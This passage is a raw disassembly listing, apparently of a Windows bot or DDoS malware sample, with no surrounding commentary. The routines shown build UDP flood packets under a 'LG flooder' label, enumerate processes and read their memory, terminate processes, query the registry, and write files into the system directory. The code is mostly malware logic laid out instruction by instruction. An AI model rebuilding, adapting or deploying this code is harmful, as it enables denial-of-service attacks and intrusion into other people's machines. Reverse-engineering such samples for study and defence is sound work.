		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax

loc_404332:				; CODE XREF: sub_403EA9+3A0j
		lea	eax, [ebp+var_131C]
		push	offset dword_413A68
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 1Ch

loc_404354:				; CODE XREF: sub_403EA9+178j
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		xor	edx, edx
		pop	ecx
		test	eax, eax
		mov	[ebp+arg_0], eax
		jbe	short loc_404384

loc_40436A:				; CODE XREF: sub_403EA9+4D9j
		mov	al, [ebp+edx+var_131C]
		lea	ecx, [ebp+edx+var_131C]
		shl	al, 1
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	edx
		cmp	edx, eax
		jb	short loc_40436A

loc_404384:				; CODE XREF: sub_403EA9+4BFj
		add	eax, 1Ch
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1336],	ax
		call	sub_40B493
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1334],	ax
		call	sub_40B4C3
		neg	eax
		sbb	al, al
		push	2
		and	al, 0C0h
		push	offset dword_41A2E8
		add	al, 80h
		mov	[ebp+var_1330],	al
		call	dword_412254	; inet_addr
		push	eax
		call	sub_4031A7
		mov	[ebp+var_132C],	eax
		mov	eax, [ebp+arg_0]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_1338]
		push	eax
		call	sub_40315E
		add	esp, 10h
		cmp	[ebp+var_16], 0
		mov	[ebp+var_132E],	ax
		jnz	short loc_404404
		call	sub_40B493
		mov	[ebp+var_1322],	ax

loc_404404:				; CODE XREF: sub_403EA9+54Dj
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1324],	ax
		mov	eax, [ebp+arg_0]
		add	eax, 8
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1320],	ax
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		mov	eax, [ebp+arg_0]
		push	0
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1338]
		push	eax
		push	[ebp+var_4]
		call	dword_412260	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404495
		push	[ebp+var_27]
		call	dword_4120A4	; Sleep
		mov	eax, [ebp+var_2D8]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_404477
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_2B]
		jl	loc_403FDD

loc_404477:				; CODE XREF: sub_403EA9+129j
					; sub_403EA9+5BDj
		push	[ebp+var_4]
		call	sub_403D92
		push	[ebp+var_2D8]
		call	sub_406E6F

loc_40448A:				; CODE XREF: sub_403EA9+5FFj
		pop	ecx

loc_40448B:				; CODE XREF: sub_403EA9+DAj
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_404495:				; CODE XREF: sub_403EA9+5A8j
		push	[ebp+var_2D8]
		call	sub_406E6F
		push	[ebp+var_4]
		call	sub_403D92
		jmp	short loc_40448A
sub_403EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044AA	proc near		; CODE XREF: sub_407A76+582p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_404579
		cmp	[ebp+arg_8], 0
		jz	loc_404579
		cmp	[ebp+arg_14], 0
		jz	loc_404579
		push	2B9h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_404579
		push	[ebp+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		push	100h
		lea	eax, [esi+1A7h]
		push	[ebp+arg_4]
		push	eax
		call	sub_4059C2
		push	6
		lea	eax, [esi+2A7h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4059C2
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		push	[ebp+arg_10]
		mov	[esi+2ADh], eax
		call	sub_41151C	; atoi
		push	[ebp+arg_14]
		mov	[esi+2B1h], eax
		call	sub_41151C	; atoi
		mov	ecx, [esi+2B1h]
		mov	[esi+2B5h], eax
		mov	eax, 0EA60h
		add	esp, 2Ch
		cmp	ecx, eax
		jge	short loc_404550
		mov	eax, ecx

loc_404550:				; CODE XREF: sub_4044AA+A2j
		cmp	eax, 64h
		mov	[esi+2B1h], eax
		jg	short loc_40455E
		push	64h
		pop	eax

loc_40455E:				; CODE XREF: sub_4044AA+AFj
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	esi
		push	offset sub_403EA9
		mov	[esi+2B1h], eax
		call	sub_406D58
		add	esp, 10h

loc_404579:				; CODE XREF: sub_4044AA+8j
					; sub_4044AA+12j ...
		pop	esi
		pop	ebp
		retn
sub_4044AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40457C	proc near		; CODE XREF: sub_4014B0+53p
					; sub_4018D5+64p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jnz	short loc_4045A1
		push	esi
		mov	esi, [esp+4+arg_0]
		push	1A3h
		push	0
		push	esi
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	byte ptr [esi+198h], 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4045A1:				; CODE XREF: sub_40457C+5j
		push	1A3h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		retn
sub_40457C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045B7	proc near		; CODE XREF: sub_4111E8+BDp

var_8		= dword	ptr -8

		push	edi
		push	offset dword_419650
		call	sub_4071D2
		mov	[esp+8+var_8], offset aPsapi_dll ; "psapi.dll"
		call	dword_41205C	; LoadLibraryA
		mov	edi, eax
		test	edi, edi
		jz	short loc_404637
		push	esi
		mov	esi, dword_412060
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	edi
		call	esi	; GetProcAddress
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	edi
		mov	dword_41964C, eax
		call	esi	; GetProcAddress
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	edi
		mov	dword_419640, eax
		call	esi	; GetProcAddress
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	edi
		mov	dword_419644, eax
		call	esi	; GetProcAddress
		cmp	dword_41964C, 0
		mov	dword_419648, eax
		pop	esi
		jz	short loc_404637
		cmp	dword_419640, 0
		jz	short loc_404637
		cmp	dword_419644, 0
		jz	short loc_404637
		test	eax, eax
		jz	short loc_404637
		mov	byte_41966C, 1

loc_404637:				; CODE XREF: sub_4045B7+1Cj
					; sub_4045B7+61j ...
		pop	edi
		retn
sub_4045B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404639	proc near		; CODE XREF: sub_4011C4+56p
					; sub_40485F+2Ap

var_125		= byte ptr -125h
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		push	offset dword_419650
		call	sub_407200
		cmp	byte_41966C, 0
		pop	ecx
		jnz	short loc_404660

loc_404659:				; CODE XREF: sub_404639+35j
					; sub_404639+4Cj ...
		xor	esi, esi
		jmp	loc_404842
; ---------------------------------------------------------------------------

loc_404660:				; CODE XREF: sub_404639+1Ej
		and	[ebp+var_14], 0
		push	0
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		jz	short loc_404659
		mov	esi, 80h
		push	esi
		mov	ebx, esi
		push	eax

loc_404679:				; CODE XREF: sub_404639+6Dj
		call	sub_411576	; realloc
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_404659
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	dword_41964C
		test	eax, eax
		jz	short loc_4046C6
		mov	edi, [ebp+var_14]
		cmp	edi, ebx
		jb	short loc_4046A8
		add	ebx, esi
		push	ebx
		push	[ebp+var_4]
		jmp	short loc_404679
; ---------------------------------------------------------------------------

loc_4046A8:				; CODE XREF: sub_404639+65j
		shr	edi, 2
		mov	eax, edi
		mov	[ebp+var_10], edi
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4046D1

loc_4046C6:				; CODE XREF: sub_404639+5Ej
		push	[ebp+var_4]
		call	sub_4114CA	; free
		pop	ecx
		jmp	short loc_404659
; ---------------------------------------------------------------------------

loc_4046D1:				; CODE XREF: sub_404639+8Bj
		lea	eax, [esi+8]
		mov	[esi], edi
		test	edi, edi
		mov	[esi+4], eax
		jbe	short loc_404726
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], edi

loc_4046E8:				; CODE XREF: sub_404639+E8j
		mov	edi, 114h
		push	edi
		push	0
		push	dword ptr [esi+4]
		call	sub_4114E8	; memset
		mov	ecx, [ebp+var_8]
		mov	eax, [esi+4]
		push	offset aSystem	; "system"
		mov	ecx, [ecx]
		mov	[ebx+eax], ecx
		mov	eax, [esi+4]
		lea	eax, [ebx+eax+0Ch]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	[ebp+var_8], 4
		add	esp, 14h
		add	ebx, edi
		dec	[ebp+var_C]
		jnz	short loc_4046E8
		mov	edi, [ebp+var_10]

loc_404726:				; CODE XREF: sub_404639+A2j
		push	[ebp+var_4]
		call	sub_4114CA	; free
		test	edi, edi
		pop	ecx
		jbe	loc_404842
		xor	ebx, ebx
		mov	[ebp+var_4], edi

loc_40473C:				; CODE XREF: sub_404639+203j
		mov	eax, [esi+4]
		push	dword ptr [ebx+eax]
		push	0
		push	410h
		call	dword_41209C	; OpenProcess
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_8], edi
		jz	loc_404833
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	edi
		call	dword_419640
		test	eax, eax
		jnz	short loc_40477F
		push	edi
		jmp	loc_40482D
; ---------------------------------------------------------------------------

loc_40477F:				; CODE XREF: sub_404639+13Ej
		lea	eax, [ebp+var_20]
		push	0Ch
		push	eax
		push	[ebp+var_C]
		push	edi
		call	dword_419648
		mov	eax, [esi+4]
		mov	ecx, [ebp+var_20]
		push	40h
		lea	edi, [ebp+var_123]
		mov	[ebx+eax+4], ecx
		mov	eax, [esi+4]
		mov	ecx, [ebp+var_1C]
		mov	[ebx+eax+8], ecx
		mov	al, byte_4191D0
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		rep stosd
		stosw
		stosb
		mov	edi, 104h
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		push	[ebp+var_20]
		push	[ebp+var_8]
		call	dword_419644
		test	eax, eax
		jz	short loc_40482A
		cmp	[ebp+var_124], 0
		jz	short loc_40482A
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		mov	eax, [esi+4]
		lea	eax, [ebx+eax+0Ch]
		push	eax
		call	sub_4114D6	; strncpy
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h
		test	eax, eax
		jz	short loc_40482A

loc_40480C:				; CODE XREF: sub_404639+1E3j
		cmp	eax, 1
		jbe	short loc_40482A
		cmp	[ebp+eax+var_125], 5Ch
		jz	short loc_404820
		dec	eax
		jnz	short loc_40480C
		jmp	short loc_40482A
; ---------------------------------------------------------------------------

loc_404820:				; CODE XREF: sub_404639+1E0j
		mov	ecx, [esi+4]
		mov	[ebx+ecx+110h],	eax

loc_40482A:				; CODE XREF: sub_404639+1A0j
					; sub_404639+1A9j ...
		push	[ebp+var_8]

loc_40482D:				; CODE XREF: sub_404639+141j
		call	dword_4120AC	; CloseHandle

loc_404833:				; CODE XREF: sub_404639+11Dj
		add	ebx, 114h
		dec	[ebp+var_4]
		jnz	loc_40473C

loc_404842:				; CODE XREF: sub_404639+22j
					; sub_404639+F8j
		push	offset dword_419650
		call	sub_40720B
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404639	endp


; =============== S U B	R O U T	I N E =======================================



sub_404854	proc near		; CODE XREF: sub_4011C4+27Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4114CA	; free
		pop	ecx
		retn
sub_404854	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40485F	proc near		; DATA XREF: sub_40491E+2Fo

var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	esi
		push	edi
		push	1A7h
		lea	eax, [ebp+var_1A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		call	sub_404639
		mov	esi, eax
		xor	edi, edi
		cmp	esi, edi
		jz	short loc_40490A
		mov	eax, [ebp+var_1A8]
		push	ebx
		push	dword ptr [esi]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A4]
		push	offset dword_413B24
		push	eax
		call	sub_4096CB
		add	esp, 10h
		xor	ebx, ebx
		cmp	[esi], edi
		jle	short loc_404902

loc_4048BB:				; CODE XREF: sub_40485F+A1j
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	eax, [esi+4]
		add	eax, edi
		lea	ecx, [eax+0Ch]
		push	ecx
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A4]
		push	offset dword_413B0C
		push	eax
		call	sub_4096CB
		mov	eax, [ebp+var_1A8]
		add	esp, 18h
		cmp	dword ptr [eax+4], 0
		jnz	short loc_404902
		inc	ebx
		add	edi, 114h
		cmp	ebx, [esi]
		jl	short loc_4048BB

loc_404902:				; CODE XREF: sub_40485F+5Aj
					; sub_40485F+96j
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		pop	ebx

loc_40490A:				; CODE XREF: sub_40485F+35j
		push	[ebp+var_1A8]
		call	sub_406E6F
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40485F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40491E	proc near		; CODE XREF: sub_407A76+2B1p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40495A
		push	1A3h
		lea	eax, [esi+4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		push	offset dword_413B4C
		push	0
		push	esi
		push	offset sub_40485F
		call	sub_406D58
		add	esp, 10h

loc_40495A:				; CODE XREF: sub_40491E+10j
		pop	esi
		retn
sub_40491E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40495C	proc near		; CODE XREF: sub_407A76+621p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_404A2E
		cmp	[ebp+arg_C], 0
		jz	loc_404A2E
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		push	[ebp+arg_8]
		mov	ebx, eax
		call	sub_4079AC
		push	[ebp+arg_C]
		mov	[ebp+arg_8], eax
		call	sub_41151C	; atoi
		mov	esi, eax
		mov	eax, 180h
		add	esp, 0Ch
		cmp	esi, eax
		jbe	short loc_4049A3
		mov	esi, eax

loc_4049A3:				; CODE XREF: sub_40495C+43j
		lea	eax, [esi+1]
		push	eax
		call	sub_4114C4	; malloc
		pop	ecx
		mov	edi, eax
		push	ebx
		xor	ebx, ebx
		push	ebx
		push	10h
		call	dword_41209C	; OpenProcess
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jnz	short loc_4049CB
		push	edi
		call	sub_4114CA	; free
		pop	ecx
		jmp	short loc_404A2E
; ---------------------------------------------------------------------------

loc_4049CB:				; CODE XREF: sub_40495C+64j
		lea	ecx, [ebp+arg_4]
		mov	[ebp+arg_4], ebx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	eax
		call	dword_4120A0	; ReadProcessMemory
		test	eax, eax
		jz	short loc_404A1E
		cmp	[ebp+arg_4], ebx
		jz	short loc_404A1E
		and	byte ptr [edi+esi], 0
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_404A13

loc_4049F2:				; CODE XREF: sub_40495C+B5j
		mov	al, [ecx+edi]
		cmp	al, 0Ah
		jz	short loc_404A09
		cmp	al, 0Dh
		jz	short loc_404A09
		cmp	al, 1Fh
		jz	short loc_404A09
		cmp	al, 16h
		jz	short loc_404A09
		cmp	al, 10h
		jg	short loc_404A0D

loc_404A09:				; CODE XREF: sub_40495C+9Bj
					; sub_40495C+9Fj ...
		mov	byte ptr [ecx+edi], 2Eh

loc_404A0D:				; CODE XREF: sub_40495C+ABj
		inc	ecx
		cmp	ecx, [ebp+arg_4]
		jb	short loc_4049F2

loc_404A13:				; CODE XREF: sub_40495C+94j
		push	edi
		push	[ebp+arg_0]
		call	sub_4096CB
		pop	ecx
		pop	ecx

loc_404A1E:				; CODE XREF: sub_40495C+84j
					; sub_40495C+89j
		push	edi
		call	sub_4114CA	; free
		pop	ecx
		push	[ebp+arg_C]
		call	dword_4120AC	; CloseHandle

loc_404A2E:				; CODE XREF: sub_40495C+Aj
					; sub_40495C+14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40495C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A33	proc near		; CODE XREF: sub_407A76+298p

arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_404A6E
		push	[esp+4+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		mov	esi, eax
		call	dword_4120F0
		cmp	esi, eax
		jz	short loc_404A6E
		push	esi
		push	0
		push	1
		call	dword_41209C	; OpenProcess
		mov	esi, eax
		push	0
		push	esi
		call	dword_4120A8	; TerminateProcess
		push	esi
		call	dword_4120AC	; CloseHandle

loc_404A6E:				; CODE XREF: sub_404A33+6j
					; sub_404A33+1Cj
		pop	esi
		retn
sub_404A33	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A70	proc near		; CODE XREF: sub_402EFD+10Bp
					; sub_407A76+94p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi

loc_404A78:				; CODE XREF: sub_404A70+1Aj
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 8
		pop	ecx
		jl	short loc_404A78
		and	byte ptr [edi+8], 0
		mov	edi, [esp+8+arg_4]
		xor	esi, esi

loc_404A96:				; CODE XREF: sub_404A70+38j
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 6
		pop	ecx
		jl	short loc_404A96
		and	byte ptr [edi+6], 0
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_404AB4:				; CODE XREF: sub_404A70+56j
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jl	short loc_404AB4
		and	byte ptr [edi+10h], 0
		pop	edi
		pop	esi
		retn
sub_404A70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ACF	proc near		; CODE XREF: sub_407A76+962p

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_404CFB
		cmp	byte ptr [edi+4], 5Ch
		jnz	loc_404CFB
		push	4
		pop	esi
		push	esi
		push	offset aHkcr	; "HKCR"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B0F
		mov	[ebp+arg_4], 80000000h
		jmp	short loc_404B65
; ---------------------------------------------------------------------------

loc_404B0F:				; CODE XREF: sub_404ACF+35j
		push	esi
		push	offset aHkcu	; "HKCU"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B2B
		mov	[ebp+arg_4], 80000001h
		jmp	short loc_404B65
; ---------------------------------------------------------------------------

loc_404B2B:				; CODE XREF: sub_404ACF+51j
		push	esi
		push	offset aHklm	; "HKLM"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B47
		mov	[ebp+arg_4], 80000002h
		jmp	short loc_404B65
; ---------------------------------------------------------------------------

loc_404B47:				; CODE XREF: sub_404ACF+6Dj
		push	esi
		push	offset aHkus	; "HKUS"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_404CFB
		mov	[ebp+arg_4], 80000003h

loc_404B65:				; CODE XREF: sub_404ACF+3Ej
					; sub_404ACF+5Aj ...
		add	edi, 5
		push	edi
		call	sub_4114BE	; strlen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_404CFB

loc_404B79:				; CODE XREF: sub_404ACF+B1j
		cmp	byte ptr [esi+edi], 5Ch
		jz	short loc_404B87
		dec	esi
		jnz	short loc_404B79
		jmp	loc_404CFB
; ---------------------------------------------------------------------------

loc_404B87:				; CODE XREF: sub_404ACF+AEj
		lea	eax, [esi+edi+1]
		push	eax
		call	sub_4114BE	; strlen
		mov	ebx, 200h
		pop	ecx
		cmp	eax, ebx
		jnb	loc_404CFB
		lea	eax, [esi+edi+1]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnb	loc_404CFB
		push	esi
		lea	eax, [ebp+var_214]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		and	[ebp+esi+var_214], 0
		push	eax
		push	1
		lea	eax, [ebp+var_214]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	dword_412000
		test	eax, eax
		jnz	loc_404CFB
		mov	eax, 1000h
		push	eax
		mov	[ebp+var_C], eax
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+var_C]
		mov	[ebp+var_10], esi
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_414]
		push	0
		push	eax
		push	[ebp+var_14]
		call	dword_41200C
		test	eax, eax
		jnz	loc_404CEB
		cmp	[ebp+var_8], 1
		mov	ebx, offset dword_413B6C
		jz	short loc_404C3B
		cmp	[ebp+var_8], 2
		jnz	short loc_404C48

loc_404C3B:				; CODE XREF: sub_404ACF+164j
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4096CB
		add	esp, 0Ch

loc_404C48:				; CODE XREF: sub_404ACF+16Aj
		cmp	[ebp+var_8], 4
		jnz	short loc_404C60
		push	dword ptr [esi]
		push	offset dword_413B64
		push	[ebp+arg_0]
		call	sub_4096CB
		add	esp, 0Ch

loc_404C60:				; CODE XREF: sub_404ACF+17Dj
		cmp	[ebp+var_8], 3
		jnz	loc_404CEB
		mov	edi, 180h
		push	edi
		call	sub_4114C4	; malloc
		and	[ebp+var_4], 0
		mov	esi, eax
		pop	ecx
		and	byte ptr [esi],	0
		cmp	[ebp+var_C], 0
		jbe	short loc_404CD5

loc_404C85:				; CODE XREF: sub_404ACF+204j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		movzx	eax, byte ptr [ecx+eax]
		push	eax
		lea	eax, [ebp+arg_4]
		push	offset dword_413B5C
		push	eax
		call	sub_4114DC	; sprintf
		push	esi
		call	sub_4114BE	; strlen
		add	eax, 3
		add	esp, 10h
		cmp	eax, edi
		jb	short loc_404CBE
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4096CB
		add	esp, 0Ch
		and	byte ptr [esi],	0

loc_404CBE:				; CODE XREF: sub_404ACF+1DDj
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		call	sub_4114EE	; _mbscat
		inc	[ebp+var_4]
		pop	ecx
		mov	eax, [ebp+var_4]
		pop	ecx
		cmp	eax, [ebp+var_C]
		jb	short loc_404C85

loc_404CD5:				; CODE XREF: sub_404ACF+1B4j
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4096CB
		push	esi
		call	sub_4114CA	; free
		mov	esi, [ebp+var_10]
		add	esp, 10h

loc_404CEB:				; CODE XREF: sub_404ACF+155j
					; sub_404ACF+195j
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		push	[ebp+var_14]
		call	dword_412028

loc_404CFB:				; CODE XREF: sub_404ACF+11j
					; sub_404ACF+1Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404ACF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D00	proc near		; CODE XREF: sub_409277:loc_4093C8p
					; sub_409918:loc_409BBEp

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_104]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_208]
		push	offset dword_418FDC
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 1Ch
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_4120B8	; DeleteFileA
		lea	eax, [ebp+var_104]
		push	offset dword_4132AC
		push	eax
		call	sub_411506	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_404DAA
		push	esi
		push	1
		push	2
		push	offset dword_413DE8
		call	sub_4114FA	; fwrite
		push	esi
		call	sub_411500	; fclose
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_404E31
		add	esp, 18h

loc_404DAA:				; CODE XREF: sub_404D00+84j
		pop	esi
		leave
		retn
sub_404D00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DAD	proc near		; CODE XREF: sub_409277+117p
					; sub_409918+26Cp

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_104]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_208]
		push	offset dword_418FDC
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411506	; fopen
		add	esp, 24h
		test	eax, eax
		jz	short loc_404E2D
		push	eax
		call	sub_411500	; fclose
		pop	ecx
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_404E2D:				; CODE XREF: sub_404DAD+72j
		xor	eax, eax
		leave
		retn
sub_404DAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E31	proc near		; CODE XREF: sub_404D00+A2p
					; sub_4050D1+1B5p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	104h
		push	eax
		call	dword_412044	; GetWindowsDirectoryA
		lea	eax, [ebp+var_11C]
		push	offset dword_413DF0
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		mov	esi, dword_412048
		pop	ecx
		mov	edi, 80h
		push	0
		push	edi
		push	3
		push	0
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404ED7
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
